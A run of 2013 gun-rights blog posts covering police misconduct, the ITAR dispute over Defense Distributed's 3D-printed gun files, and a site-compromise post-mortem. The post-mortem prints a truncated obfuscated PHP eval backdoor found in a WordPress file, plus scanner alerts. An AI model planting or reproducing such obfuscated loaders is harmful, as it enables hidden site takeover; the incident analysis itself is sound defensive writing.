A man who was wrongly detained by Colorado Springs police for carrying a holstered pistol at a gay-rights parade last year is suing the city and members of the Police Department.

James Sorensen, 24, was arrested July 21 in Acacia Park in downtown Colorado Springs under an outmoded law – repealed in 2003 – that made it a misdemeanor to carry guns into public parks. Police later acknowledged the arrest was made in error, and Sorensen’s ticket was dismissed in August.

I’m reminded of a bit from Ron White, “Ignorance of the law is no excuse.”

We cannot play dumb when it comes to us violating the law but they get a free pass to arrest someone and violate their rights because they don’t know the law.  If the people charged with enforcing the law don’t even know what’s legal or illegal anymore, maybe it’s time to reset the law because they’re obviously too much garbage on the books.

State Sponsored Criminal: CSPD

Because ignorance of the law can only be used against the otherwise law-abiding citizen, not the cop looking to abuse him.

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Remarkably, many handguns don’t even have a loaded chamber indicator or even a magazine safety. Dumb oversights. #kidsngunschat

— Art Kellermann, MD (@ArtKellermannMD) May 16, 2013

[I love it.  Let’s disguise total BS as “gun safety.”  Lets look at his two examples shall we?

- Magazine Disconnect

Means you have to load a magazine into an empty firearm to show clear.  Often if you go to a match of any kind and see someone with a gun with a disconnect, they have to carry an extra magazine to show clear after a stage.  Tell me, how does it make things safer to drop the mag, rack out the round and then have to reinsert a mag.  Guess that’s why it’s the one safety USPSA allows you to disable or remove.

-Chamber Indicator

Otherwise known as the excuse people use not to observe proper gun handling.  Instead of using your own damn two eyes, you rely on a mechanical device that can, and will eventually fail.  It will either result in your gun failing, or start giving false positives, or indicate empty when hot.

Even worse though is the idea, and there will be people who do this, that some people will use the chamber indicator to assume the weapon is unloaded.  Then they’re finger !%^* the damn trigger and act all surprised that they just ventilated someone because they violated god knows how many of the 4 rules because “the chamber indicator said it’s unloaded”.

Safeties are all well and good folks but lets be realistic here.  What do any of those two safeties actually provide?

Not a damn thing that simple education or proper storage couldn’t take care of.  Instead of education he wants to modify firearms, in such a manner as to aid in careless gun handling mind you.

This folks is why you don’t take advice from people who don’t know what the hell they’re talking about. –B]

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A former Ashland Police officer has pleaded guilty to federal drug and gun charges.

32-year-old Melvin “JR” Schoch Jr. pleaded guilty to possession with intent to distribute Oxycodone and possessing a firearm in during the commission of a drug crime, during a hearing in U.S. District Court in Ashland. Two other counts from a January superseding indictment were dropped as part of the plea agreement.

Why’d this guy really make the count given the guilty plea?

Schoch, who was on duty with the Ashland Police at time and armed with duty weapon, admitted to entering the residence under the guise of having a search warrant.

Nice using the drug war to steal drugs from people and then sell them.  Is anyone really surprised by this type of revelation?

State Sponsored Criminal: Melvin Schoch Jr.

Because the reason you go work for the state is so you can be above the law.

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Puddle of Mudd – Gimme Shelter

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A sergeant with the DeKalb County police department was arrested Wednesday morning after an alleged assault against a teenager days earlier at a McDonald’s, according to police.

Scott A. Biumi, 48, of Cumming, was charged with aggravated assault in the April 9 incident at the McDonald’s on Old Atlanta Road, the Forsyth County Sheriff’s Office said.

He was wearing his badge and driving an unmarked car.  If a person had defended themselves you can bet they’d be charged with assaulting a police officer and could very well be dead from the overwhelming response from his friends after keying the radio.

The officer hasn’t been fired though the police Chief claims not to tolerate that kind of behavior… I guess seeing video of it happen wasn’t enough to seal the deal.

State Sponsored Criminal: Scott A. Bimumi

Because when you’re a cop and you get a craving for a Big Mac, assault anyone who stalls you.

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Matter-of-fact, this whole sorry episode is going to be another footnote in the annals of history that future scholars will point to and say, "This was the period of time in which the Government of the United States consisted solely of people who didn’t have any business running anything more complicated than a lemonade stand without adult supervision."

Law Dog – ITAR and bloody dafties

May 11th, 2013

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The Bakersfield Californian reported 33-year-old David Sal Silva died early Wednesday morning in the hospital after he was struck an unknown amount of times by nine authorities seeking to subdue him. Silva was considered possibly intoxicated and an autopsy is expected to reveal if he was killed by injuries sustained in the beating or other complications.

Unexpectedly the police seized the video and have refused to return the devices.  Evidently the whole copying a file thing is new to them.  Most likely they’re trying to destroy evidence.

Due to the number of officers involved this one makes the count because not a single one of them did anything to stop the unnecessary application of force.

State Sponsored Criminal: Bakersfield Police Department

Because when you have 9 men and a man begging for his life, beat him to death.  The law’s on your side right?

via Marc

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Tony Davis, 48, was arraigned before U.S. Magistrate Judge F. Keith Ball pursuant to a federal indictment charging him with bribery in connection with a series of transactions of the Jackson Police Department, according to an announcement Thursday by U.S. Attorney Gregory K. Davis and FBI Special Agent in Charge Daniel McMullen.

Here’s what caught my attention though:

This is not the first time Davis has run afoul of the law.

A nearly $5,000 default judgment was entered against Davis in Oct. 2011 in Hinds County Circuit Court. Adrienne Coleman of Jackson said she paid Davis $4,800 to buy a Cadillac vehicle for her. But Collins said she never got the vehicle nor her money back from Davis, who owned Davis Detail & Sales and Best U. Auto Sales.

Yet this man is given the authority and backing of the state while in some places they refuse to allow their law-abiding citizens to carry for their own defense.

State Sponsored Criminal: Tony Davis

Because the laws are for the little people.

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Yes mom, I know it was dad who mad you a mom.

Brett Westerman – Overhead while calling his mom on Mother’s day.

May 12, 2013

[Yes everyone in the truck burst out into laughter yesterday when he said that on the phone.  Why?  Because there was every ounce of that discomfort at the mental thought that was just put in his brain.... We all thought it was funny as hell.

Ahh to be in college again.  Wait, nope I'm good with freedom. -B]

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Then there are the people who are doing nothing for advancing the cause, and are simply engaged in an attempt to garner fame for themselves. They loudly proclaim themselves to be engaged in civil disobedience, get the spotlight focused on themselves, and before any serious consequences can befall them, they fold their tent and scurry away. They then spend a large amount of time patting themselves on the back, and demanding that others recognize the so-called huge ‘risk’ they took in doing absolutely nothing. They are doing nothing for the CAUSE, they are doing this for THEMSELVES and their over sized egos.

Where did this all come from?  Well Joe, Robb, Linoge, and I were hosting an extra copy of the Defense Distributed file pack.  Allowing a quick and easy method for others to grab it if they so choose.

Divermedic took great offense saying how dare we pull our links when we evaluated the risk – reward matrix being beyond our worth.  Evidently if we were true activists we would fall on our swords and simultaneously commit seppuku.

You’re missing my point. The point here is that hosting the file from the beginning was a risk. Joe had to know that, or else why post the file at all?
A lawyer will ALWAYS tell you not to take a stand. That is his job. The easiest legal case to win is one that you never get into in the first place, but this results in very little change.
You accuse me of driving from the back seat, but isn’t that what the entire blogosphere does? We all sit around and complain about the state of affairs, but very, very few of us are willing to take a stand.
This is the reason why I think that all of this big talk about the “line in the sand” for gun owners is just that: talk. Everyone wants to complain, but no one wants to actually risk anything. Including myself, Joe, and even you.

Evidently, the thought there are different levels of risk and different cards that could be played never crossed this poor soul’s mind.  According to our illustrious leader here the best course of action is to always follow the original plan, even if the enemy makes an unexpected move that can easily and most likely cause your total destruction.  Hey, at least you died on a hill for nothing while screaming “Shall not be infringed” like a true activist right?

If you think that Joe, Robb, Linoge, or myself hosted this file for attention, maybe you’re the self-centered egotistical asshole projecting his approach to life on others.  I do find it interesting that while he continues to criticize us he has yet to actually put his money where his mouth is and do a damn thing beyond open his mouth bitching about how we’re “posers”.  Because a poser runs out and donates time and money and supplies said information to a couple hundred people?

Did we take as much risk as we could have?  No, why? Because honestly there was no reward to continuing the risk.  So why do it, why choose that hill to die on given the weapon they brought to bear against us?  We’re not running around bragging about it, we’re defending our decisions to some pleab who didn’t take an ounce of any risk himself.  We’re defending our actions against a man who has quite literally done nothing other than complain.

What is really telling though is how he states we’re not activists.

• Really, Joe is doing nothing to advance the cause?  I guess Boomershoot counts for nothing.
  • I guess Michael Bane was wrong when he said the following in Episode #132 of “The Shooting Gallery”.

A lot of Joe’s writing on the right to keep and bear arms which you can read on his blog… is writing that you really really need to read.

• Linoge isn’t doing anything to advance the cause?  I guess his work on the graphics matter posts aren’t worth anything.  His work engaging in debate is pointless and not worthy of note either.
• Robb isn’t doing anything to advance the cause?  So his work for Florida Carry does not exist?
• I’m not doing anything to advance the cause?  I guess my time donated helping Joe doesn’t matter.  I guess all my writing doesn’t matter.  I suppose the time I spend at gun shows helping people contact their legislators is time wasted.  I suppose the time I spend on the phone with my own legislators working on the details of pro-gun bills coming up for sponsorship are moot.  I suppose the time I donate to support A Girl, Sean, OldNFO, Linoge, and Weer’d and ensuring their blogs work and run is nothing.  I’m also going to be supporting another Washington State Firearms group here over the next couple days.  At cost while donating my time, but remember I’m not an activist.

His claim is the following:

Look, the penalty for violating ITAR is a million bucks plus twenty years in prison. I GET it if you aren’t willing to risk that. I know I’m not, but that is no excuse to run around and brag about how much you did and how much of a risk you took. That does nothing but pull the focus away from the problem and place it on you. That is why I criticize people for this.

No, here’s what happened.  Divemedic came into Joe’s place and started acting high and mighty calling us pussies for pulling down the files after the risk was too high.  He gave us a line of shit when we actually did something while he sat in his own little world and did nothing.

Does he really think that none of us have distributed those files in any other means?  Does he realize that three of us write software for a living and are very skilled with computers.  Tell me, given the penalty, would we advertise any further involvement?  Especially when we could accomplish the goal anonymously to protect ourselves.

He misread the point of posting those files.  Neither Joe, Robb, or myself posted that after the ITAR letter.  We had posted the files to help spread them far and wide and make it simpler for some to make their own copy.  Not everyone uses bit-torrent or is familiar with its use and we were helping anyone and everyone find it and sharing our bandwidth and server usage to do so.  The benefit of doing so was when the primary server link was cut we were still immediately available until the alternative methods had made their way all the way into the public’s view.

I didn’t ask everyone and their mother to link that post and I certainly provided no statement that I would keep the file posted no matter what.  I implied that you can’t stop the signal and you can’t.  Even though Joe, Robb, Linoge, and I have removed the files to legally protect us, it continues to spread, and that’s the damn point.

*Corrections since he evidently failed reading comprehension 101 and didn’t bother to actually read the quote.

One of them even made claim that he believe John Adams when he said:

If men through fear, fraud or mistake, should in terms renounce and give up any essential natural right, the eternal law of reason and the great end of society, would absolutely vacate such renunciation; the right to freedom being the gift of God Almighty, it is not in the power of Man to alienate this gift, and voluntarily become a slave.

I guess he changed his mind and decided to become a slave…

I think you were confusing that quote with this one from Samuel Adams.

If ye love wealth better than liberty,
the tranquility of servitude
better than the animating contest of freedom,
go home from us in peace.
We ask not your counsels or your arms.
Crouch down and lick the hands which feed you.
May your chains set lightly upon you,
and may posterity forget that you were our countrymen.

Ok, first up, you still don’t have the file publicly posted so you have no room to speak as if you were issuing a call to arms for support.  You didn’t even post the damn thing to begin with.

Secondly, that John Adams quote states the following since you don’t seem to be able to understand, “The natural rights of man are non-negotiable and not subject to the laws over government as they are natural.”

I have not told anyone else to pull down that file, it is their choice to continue to host it if they so choose.  I support their right and free exercise of that right.  Just because I support that right doesn’t mean I must exercise it exactly that way.  In this case I choose not to exercise that right, not because I don’t think I should be able to, but because the trouble and risk far outweighs any possible positive benefit.  To put it another way, just because I support the legalization of weed doesn’t mean I want or have to smoke it.

In closing this isn’t the first time that someone from “our side of the fence” has decided to hate on me.  Frankly I don’t care, I’m just going to refer to myself as “The Third Tier non-Activist Gun Blogger with a Junior Internet Detectives Badge.”  Because honestly the behavior of Divemedic in this whole thing strikes me just like that Smoking Blunder ass hat.  He decided to try and use this as a wedge between members of our community and frankly anyone who acts or behaves like that I don’t consider a friend.  He thrives on badmouthing those on his side because they weren’t willing to continue to stand when he didn’t even stand to begin with.  I’m not trying to make this out to be some sort of bad ass move, but frankly he is criticizing people when he really has no right to.

Joe didn’t want to waste time on a response and frankly he’s probably right.  In the end though, he says that we were ego stroking in an attempt to gain traffic to our sites… That coming from the guy beating on the drama llama.  Honestly, why should anyone give a crap about the “opinion” of Divemedic?  Until this whole escapade I hadn’t even heard of him.

No, when I get a comment from Tam, Oleg, JayG, or Alan saying that I’ve done something wrong, I’ll perk up and listen, doubly so since they’ll do so in an appropriate manner and have earned their reputation and rightfully so.  As far as I’m concerned, this is a no-body bitching at a bunch of some-bodies because he felt like it.

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In the mean time an enraged narcissist who didn’t get his way with the legislature could conceivably apply the regulations to people posting YouTube videos on how to grip your pistol.

Joe Huffman – Faceless bureaucrats, not blue helmeted elk

May 9th, 2013

[Go read’s Joe’s post on the breakdown of how they’re attempting to apply ITAR regulations to stop our culture.  This isn’t a joke either folks, it is quite literally that simple, I just didn’t see how they could grossly apply it over anything firearms related. 

Well evidently some congress critter with a cranial rectal inversion, or more likely placing an Easter Egg, has created hell for us.  I’m not sure how we’re going to fight this one, but fight we must.  This is how they will destroy freedom and those who agree will support the tactics as long as it isn’t being used against them. –B]

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A 40-year-old Jacksonville police officer with a history of DUIs since her 2004 hire was charged Tuesday with five counts of driving under the influence causing damage as well as multiple hit-and-runs, the Sheriff’s Office said.

Why does this one make the whole count.

Undersheriff Dwain Senterfitt said he had fired Jones after a DUI investigation in 2011, but an arbitrator reinstated her. Senterfitt said he is frustrated she was rehired and is now under investigation a third time.

That’s right, you can’t fire corrupt cops who disobey the law.

State Sponsored Criminal: Diana Laura Jones

Because a DUI is only a problem when the person in question isn’t a cop.

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The Department of State, Bureau of Political Military Affairs, Office of Defense Trade Controls Compliance, Enforcement Division (DTCC/END) is responsible for compliance with and civil enforcement of the Arms Export Control Act (22 U.S.C. 2778) (AECA) and the AECA’s implementing regulations, the International Traffic in Arms Regulations (22 C.F.R. Parts 120-130) (ITAR). The AECA and the ITAR impose certain requirements and restrictions on the transfer of, and access to, controlled defense articles and related technical data designated by the United States Munitions List (USML) (22 C.F.R. Part 121).

The DTCC/END is conducting a review of technical data made publicly available by Defense Distributed through its 3D printing website, DEFCAD.org, the majority of which appear to be related to items in Category I of the USML. Defense Distributed may have released ITAR-controlled technical data without the required prior authorization from the Directorate of Defense Trade Controls (DDTC), a violation of the ITAR.

It’s worth noting that there is an exemption that Defense Distributed falls under but the bad news, for the government anyway, this will have the opposite effect by causing more people to grab it than you desire.

If/When I receive a take down notice validating the position of the State Department I will have no choice but to pull it.  Tonight I will be burying it behind a page that will require you to state that you are a US Citizen to download it under penalty of perjury.  I’ve already added a line disclaimer stating as much.  You can still get the files through this post.

Honestly I think this is a bullshit call and is merely an attempt to instill fear in the people and only serves to delay the dissemination of information.  Doubly so when you consider the ATF and Eric Holder violated ITAR during Fast and Furious.  No, you can’t stop the signal.

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For all their concern, not a single one of them has expressed an ounce of sympathy to me. I dare say neither my brother nor I matter to them at all. But, they will include his death in their numbers to justify how evil guns are. They will use his death as one in a long line of emotional stories to manipulate the emotions of others and frankly that pisses me off. The only time this “friend” has ever spoke to me about my brother’s death was today and that was all of 5 words. The rest of the 6 paragraph email was about how wrong I am and how guns are bad and I should be sharing my brother’s sorry as a cautionary tale. Outside of the “I am thinking of you” sentence the rest was about the evil I am spreading(albeit probably out of being so naive) and how if we can save just one life…blah, blah, blah. She has not bothered to stay in contact with me, so she doesn’t know that I was attacked or that guns play a vital role in keeping my life safe, but of course my life doesn’t matter. My life isn’t part of the plan. What I do day to day has not mattered to her at all. Just today. Just the day Allen died. Her line saying “thinking of you” just doesn’t feel sincere for some reason.

A Girl and Her Gun – May 8th

May 8th, 2013

It’s what we all knew, but they took the blood dancing and grief cutting to a whole new level.  Seriously what the hell was the point of that woman sending that email other than to cause pain, grief, and misery.  I am of the firm opinion that people like that are eternally miserable and insist on spreading their misery to others.

One of these day’s I’ll get around to writing up some of the other reasons I haven’t been writing as much lately, but suffice it to say, I don’t like spreading grief, pain or worry.  There’s a little over 6 months left in this year and I’m sure I can figure out some way to rock the rest of it like a boss.  I’m waiting for the all clear and then I’ll explain why.  Some in my inner circle know, but honestly I don’t want everyone and their mother worrying about it.

All I have to say is that overall her response is why I love A Girl.  She was considerably kinder than I would have been had someone send some pile of garbage like that to me.  Hell I remember fighting the urge to bitch slap the woman who told me that allowing my dad to undergo his cancer treatment is what killed him.  Had I been a better son I would have convinced him to do alternative therapy…  She knew nothing about when it happened, what cancer it was, nothing, she just heard my dad passed away from cancer while discussing treatment types.  She took that moment to try and cut into me and lay grief on me as if I was responsible.  After the 10 minute frothing rant was done where I chewed her up and spit her out verbally in front of a room of 20 people.  So loud mind you that no one else could hold a conversation she got up and walked out.  She didn’t speak to me for the rest of the weekend and everyone who saw it didn’t dare broach the subject of what exactly was said because it was obvious it was inappropriate.  I don’t think she even dared to call out my call sign on the radio for even normal traffic.

Some people love misery and they take great pride in making other people miserable.  If you try and make me miserable, I will drag you down, chew you up, spit you out and say **** you while sporting the bird.  Why?  Because I have no need for someone that miserable when I have an awesome family and an awesome group of friends.  Real friends that will support me at the drop of a hat, even if we’ve never met face to face.  The don’t send me an email out of the blue claiming to care while trying to say that I was somehow to blame for their decisions.  That I’m some how to blame for their decided use for an inanimate object.

And when you look at life when you have family and a group of friends like I’ve got; life’s pretty damn good! –B]

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Led Zeppelin – Immigrant Song

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An Orange County deputy was arrested for DUI late Sunday night after he rear-ended another car.

The Florida Highway Patrol said Deputy Kevin Meyer was in uniform driving an unmarked sheriff’s office truck.

Why is this one on the list? 

According to Orange County sheriff records, this was not the first accident that Sgt. Meyer has been involved in while driving a patrol vehicle.

In 2006, he received a verbal reprimand for losing control of the vehicle and causing an unknown amount of damage.

He’s on administrative leave pending the outcome of the investigation.  Interesting, LNI has a mandatory drug test for any work related incident yet he refused to blow.  Why didn’t they just fire his ass?

State Sponsored Criminal: Kevin Meyer

Because always make sure if you’re going to get smashed, do so while wearing your uniform and in a vehicle owned by the taxpayers.

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I’ve come to realize after the Sandy Hook shooting that the reason we can’t have a rational gun debate is because the anti-gun side pre-supposes that their pro-gun opponents must first accept that guns are bad in order to have a discussion about guns in the first place. Before we even start the conversation, we’re the bad guys and we have to admit it. Without accepting that guns are bad and supplicating themselves to the anti-gunner, the pro-gunner can’t get a word in edgewise, and is quickly reduced to being called a murderer, or a low, immoral and horrible human being.

Barry Snell – Waking the dragon — How Feinstein fiddled while America burned

May 3rd, 2013

[And that right there is the honest truth.  Those on the other side of the “debate” aren’t interested in debate.  The view us as the devil incarnate and that our rights don’t matter.  To them we aren’t human, we’re sub-human, merely because we own an inanimate object that many of us use for self-defense.

It’s why over time I have lost just about all patience with those who would take away our rights. –B]

*Article via email from Terry.

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If men through fear, fraud or mistake, should in terms renounce and give up any essential natural right, the eternal law of reason and the great end of society, would absolutely vacate such renunciation; the right to freedom being the gift of God Almighty, it is not in the power of Man to alienate this gift, and voluntarily become a slave.

I also consider the right to self-defense and with it the right to keep and bear arms an essential natural right.  It is for that reason I am hosting the Defense Distributed file pack (by clicking this link you certify that you are a US Citizen within the United States under penalty of perjury) here(Upon advice from good friends, this has been removed, just see this quote for details.) (warning almost 500MB).  For details on why only US citizens may download these files, please see this post.

Many people seem to be lost on the real meaning of the Liberator Pistol.

That pistol is not meant to be a replacement for your standard side-arm.  I honestly don’t see 3d printing replacing standard firearms production.  The point of the Liberator is allow those to arm themselves that would otherwise be rendered defenseless by their government.  It is not designed to be used repeatedly over and over, it’s use is designed much the same as this pistol.

You have one shot.  It is not to be used at a far distance.  It is designed as a last-ditch when you have no other alternative.  One shot you think may not be effective, but that man you just killed sent by the state who was trying to kill you, he has a gun too right?  One much more effective than the one you just used.

The point of the Defense Distributed’s pistol is to at least give a tool to help better even the odds for the person being abused by the state and prevented from defending themselves.  It is not a magic talisman, it is merely a tool.  A tool which can help level the playing field and give a disarmed people a fighting chance to save themselves.

There’s a reason our federal tyrants are so afraid of something like this.  It guarantees that no matter what they do, the people will always have access to some sort of arm.

I will maintain that link and create alternate servers if necessary to do so.  It is a natural right of the people to be armed for their own defense.  Any person who opposes that right is not my friend, but my enemy wishing for my enslavement or death and I will fight back. As Linoge said, “You Can’t Stop the Signal.“

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A longtime Delaware County sheriff’s deputy is facing assault and reckless endangerment charges in Lehigh County after allegedly opening fire on his own car as the woman he lent it to attempted to flee, authorities said.

Gregory Todd Price, 53, of the Drexel Hill section of Upper Darby, was arrested Tuesday by Allentown police and charged with one count of simple assault and three counts of recklessly endangering another person.

Remember though, the police are the only ones trained enough in the legal use of deadly force and the proper and safe handling of a firearm.

That man get’s a pass to carry a firearm, even in places other people who are licensed can’t.  Didn’t stop him from being an idiot though now did it.

I should probably strike the Honorable Mention from this considering he will probably resign to save face.  Never mind the fact anyone working in the private sector would get the boot from their employer in an event such as this.

State Sponsored Criminal (HM): Gregory Todd Price

Because cops get a free pass to threaten, intimidate, and deploy deadly force without cause.

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That is of course unless you supply a couple well placed rounds to the upper cranial cavity once you discover their plight.

Let me start off at the beginning.  Over the past month I’ve been busy working on polishing the finishing edges of my new VPS.  I’ve spent a lot of time securing it and going through everything I can to provide me the best probabilities for survival when the inevitable finally happens.

Last weekend I migrated Linoge and Weer’d over to the new server as well since I had finished hammering out the last of the kinks with the help of the LiquidWeb support team.

I moved Linoge over and had a few minor oddities which I quickly fixed and got taken care of.  From there I set my sights on moving Weer’d. 

I logged in, dumped the database, tar’d up the site.  The tar fails, odd, what do you mean you couldn’t read that file?  Didn’t think much of it, found the file, odd the permissions are 000.  This isn’t my site though and I’m not sure if there was something special done so I fix it.  Total I fix 8 files like this.  I move the site over, and get him set up on the new server.  It actually went even smoother than Linoge and didn’t require a weird step.

Fast forward 24 hours to when I begin my evening log check.  I run tail /var/log/messages.  What I see does not provide me comfort.

May  5 22:34:06 clark suhosin[26061]: ALERT – script tried to increase memory_limit to 268435456 bytes which is above the allowed value (attacker ’66.249.76.207′, file ‘/home/weerd/public_html/wp-includes/post-template.php’, line 694)

May  5 22:34:06 clark suhosin[26061]: ALERT – script tried to increase memory_limit to 268435456 bytes which is above the allowed value (attacker ’66.249.76.207′, file ‘/home/weerd/public_html/wp-includes/post-template.php’, line 694)

What!?  I promptly dump open that file and am greeted by the following:

/**

* Applies custom filter.

*ap

* @since 0.71

*

* $text string to apply the filter

* @return string

*/

function applyfilter($text=null) {

  @ini_set(‘memory_limit’,’256M’);

  if($text) @ob_start();

  if(1){global $O10O1OO1O;$O10O1OO1O=create_function(‘$s,$k’,"\44\163\75\165\162\154\144\145\143\157\144\145\50\44\163\51\73\40\44\164\141\162\147\145\164\75\47\47\73\44\123\75\47\41\43\44\45\46\50\51\52\53\54\55\……………\164\56\75\44\143\150\141\162\73\40\175\40\162\145\164\165\162\156\40\44\164\141\162\147\145\164\73"); if(!function_exists("O01100llO")){function O01100llO(){global $O10O1OO1O;return call_user_func($O10O1OO1O,‘od%2bY8%23%24%3fMA%2aM%5dnjjMjBBPP%3eF%27VzBPp%5ez1h%27%27hIm%2bKKbC0XJ%5e%3b%60%40Bd44d%22%2eULLtT1MMZf%3eZSRt%22%2a%2a0y%5cjj%291%………………….%3eBhG%27%7dl’,6274);}call_user_func(create_function(”,"\x65\x76\x61l(\x4F01100llO());"));}}

  if($text) {$out=@ob_get_contents(); @ob_end_clean(); return $text.$out;}

}

Now, for those who may not realize it, that odd text in there I immediately recognized as obfuscated code… that was in the middle of a standard WordPress installation.  Das Not Good.  Promptly I shifted into Defcon 2, the good news was the IP in the log was Google crawling the site.  I promptly bump an email to Weer’d along with everyone else about this new Charlie Foxtrot.

I have no idea how severe this incident is at this point I trust absolutely no one.  My first order of business is to close the problem that I now see.  I manually reinstall WordPress overwriting ALL the existing files on the server.  This promptly stops those trailing messages in my log.  Something new happens though.

Weer’d has WordFence security, fantastic plugin and I highly suggest it, and I run a scan, it say’s nothing is wrong.  I call BS.  There is no way that’s it.  I do a diff with another site that is known good and discover a pile of files.

There’s the list in a little more file friendly form.  I promptly removed and reinstalled the WordFence plugin.  This is where things get interesting.  I see this in the scan output

Mon, 06 May 13 02:45:03 +0000::1367822703.7602:2:info::Adding issue: This file appears to be an attack shell

Mon, 06 May 13 02:45:03 +0000::1367822703.7594:2:info::Adding issue: This file appears to be an attack shell

And I had to keep running the scan over and over.  I finally just resort to nuking everything, double checking from a shell and then reinstalling what I do actually want to keep.  Overall this is very little.  Every time I run a scan after fixing something I find something new.  Eventually I discover that the theme has been compromised.  Dump the theme and replace it.  Overall there were both stock WordPress files that were compromised along with additional files that were added but made to look legitimate.

After a short while I had the site cleaned up.  I will do a more through cleaning but that was the immediate action remedy for BF 30 in the am Sunday night.

I do however want to investigate the details of this.  I login to the old server and start looking around.  All the exploits are still present, so that means it was prior to the move and then I look at the root directory:

Do you see it?  Here’s the dump of what’s inside:

Now if you closely pay attention you can gleam a few important facts from the above.  First, they had multiple exploits to get back in.  Second, they obtained root access on the box.  In hindsight I noticed a few things (other than the interesting file name that should have been a giant fucking red flag) such as .bash_history not working correctly.  Lastly though we can note the date for the last edit October 5th, 2012.

There’s a reason that rung a bell with me.  From an article dated Oct 3, 2012

The distributed denial-of-service (DDoS) attacks—which over the past two weeks also caused disruptions at JP Morgan Chase, Wells Fargo, US Bancorp, Citigroup, and PNC Bank—were waged by hundreds of compromised servers. Some were hijacked to run a relatively new attack tool known as "itsoknoproblembro." When combined, the above-average bandwidth possessed by each server created peak floods exceeding 60 gigabits per second.

More unusually, the attacks also employed a rapidly changing array of methods to maximize the effects of this torrent of data. The uncommon ability of the attackers to simultaneously saturate routers, bank servers, and the applications they run—and to then recalibrate their attack traffic depending on the results achieved—had the effect of temporarily overwhelming the targets.

It appears I found a zombie that was sleeping in my friends place and inadvertently moved him.  That’s OK though, upon finding him I filled him full of 00 Buck Shot and did a mag dump from the AR for good measure.  I will also be killing the entire area with fire here when I get a bit more free time.

My actions though are leaps and bounds beyond what Dreamhost is doing and remember they’re the one’s who actually suffered a data breach and have a sever where root was compromised.

Thank you for writing.  Let us assure you that you’re not on your own!  We’re here to guide you through this process as much as we possibly can.  By the time you’re reading this email we have attempted to clean some basic rudimentary hacks out of your account and fix any open permissions; any actions taken will be noted below.
Going forward, we need you to take care of some basic site maintenance steps to ensure that your account has been secured.  To get started, please read and act on all of the information in the email below.  Since it involves editing and potentially deleting data under your users we are not able to complete all tasks for you.  If you have questions about the noted items please provide as much information and detail as possible about where you are getting stuck and we will do our best to assist you.
Here’s another area where we’re able to help — if you would like us to scan your account again for vulnerabilities after you have completed some or all of the steps below, please reply to this email and request a rescan and we can then verify your progress or if there are any lingering issues.
Most commonly hacking exploits occur through known vulnerabilities in outdated copies of web software (blogs, galleries, carts, wikis, forums, CMS scripts, etc.) running under your domains.  To secure your sites you should:
1) Update all pre-packaged web software to the most recent versions available from the vendor.  The following site can help you determine if you’re running a vulnerable version:
– Any old/outdated/archive installations that you do not intend to maintain need to be deleted from the server.
You should check any other domains (if applicable) for vulnerable software as well, as one domain being exploited could result in all domains under that user being exploited due to the shared permissions and home directory.
2) Remove ALL third-party plugins/themes/templates/components after upgrading your software installations, and from those that are already upgraded under an infected user.  After everything is removed, reinstall only the ones you need from fresh/clean downloads via a trusted source.  These files typically persist through a version upgrade and can carry hacked code with them.  Also, many software packages come with loads of extra content you don’t actually use and make searching for malicious content even harder.
3) Review other suspicious files under affected users/domains for potential malicious injections or hacker shells.  Eyeballing your directories for strangely named files, and reviewing recently-modified files can help.  The following shell command will search for files modified within the last 3 days, except for files within your Maildir and logs directories.  You can change the number to change the number of days, and add additional grep exception pipes as well to fine-tune your search (for example if you’re getting a lot of CMS cache results that are cluttering the output).
find . -type f -mtime -3 | grep -v "/Maildir/" | grep -v "/logs/"
In scanning your weerd user we found 3 hacked files that we were able to try and clean.  Backups of the original hacked files can be found at /home/weerd/INFECTED_BACKUP_1367876582 under your user, with a full list of the original files at /home/weerd/INFECTED_BACKUP_1367876582/cleaned_file_list.txt.  You should verify that your site is working fully after being cleaned and then delete the INFECTED_BACKUP directory fully.
Likely hacked code / hacker shells that we could not automatically clean were found under weerd here:
Likely hacked code / hacker shells that we could not automatically clean were found under jp556 here:
For information specific to WordPress hacks please see:
http://wiki.dreamhost.com/My_Wordpress_site_was_hacked
More information on this topic is available at the following URL under the "CGI Hack" and "Cleaning Up" sections:
http://wiki.dreamhost.com/Troubleshooting_Hacked_Sites

Seriously… A shared hosting server, not a VPS mind you, where there is evidence of a shell compromise that resulted in Root access and your response is, “Here we’ll help you remove the malicious code from your site.”  Uh, already done that sparky but the bad news is that’s like closing the barn door after the cow has gotten out.  Or more specifically closing the front door and locking it after the serial killer has gotten into your house.  You really think those guys didn’t create backdoors in other sites? 

The real reason we were informing you is because you have a breach which placed everyone who has data on that server in danger.  I’m root, I can just go and place whatever exploit I want in whoever’s code I want.  I don’t think you understand why I had Linoge contact you boy genius.

Yes I understand you want to look good and not like a complete idiot in front of your customers.  Know what though “Pride goes before destruction, a haughty spirit before a fall.”  I was informing you because this is serious and at least an acknowledgement of, “thank you, we will get right on that” would be smart.  Try having to deal with constant outages and not being sure exactly why it’s happening.  It sucks, every time something goes wrong I think my forehead gets flatter from my desk.  Luckily at this point I think it’s solved and todays was a bit of an odd duck that only affected one site but I digress.

Linoge informed me his server issues started late last September/early October and have continued right up to today.  Well I’m sorry but we have heavy signs of enemy action and that is no coincidence.  That server is most likely still compromised at the root level and it appears Dreamhost has no interest in fixing it.  With a shared host your attack surface area is much larger and your odds of compromise increase.  So does the damage from a root compromise.

So remember folks, digital zombies exist, they are contagious if you’re not careful, and are best dealt with a serious dose of heavy metal positing followed by a tactical nuke to the general vicinity.  Be very careful too, sites you may think are safe may have actually been compromised.  Now hopefully I can get all the other stuff I’m trying to get done and finally get some sleep.  Constant 0200 bedtimes with 0630 rise times are eating me whole.

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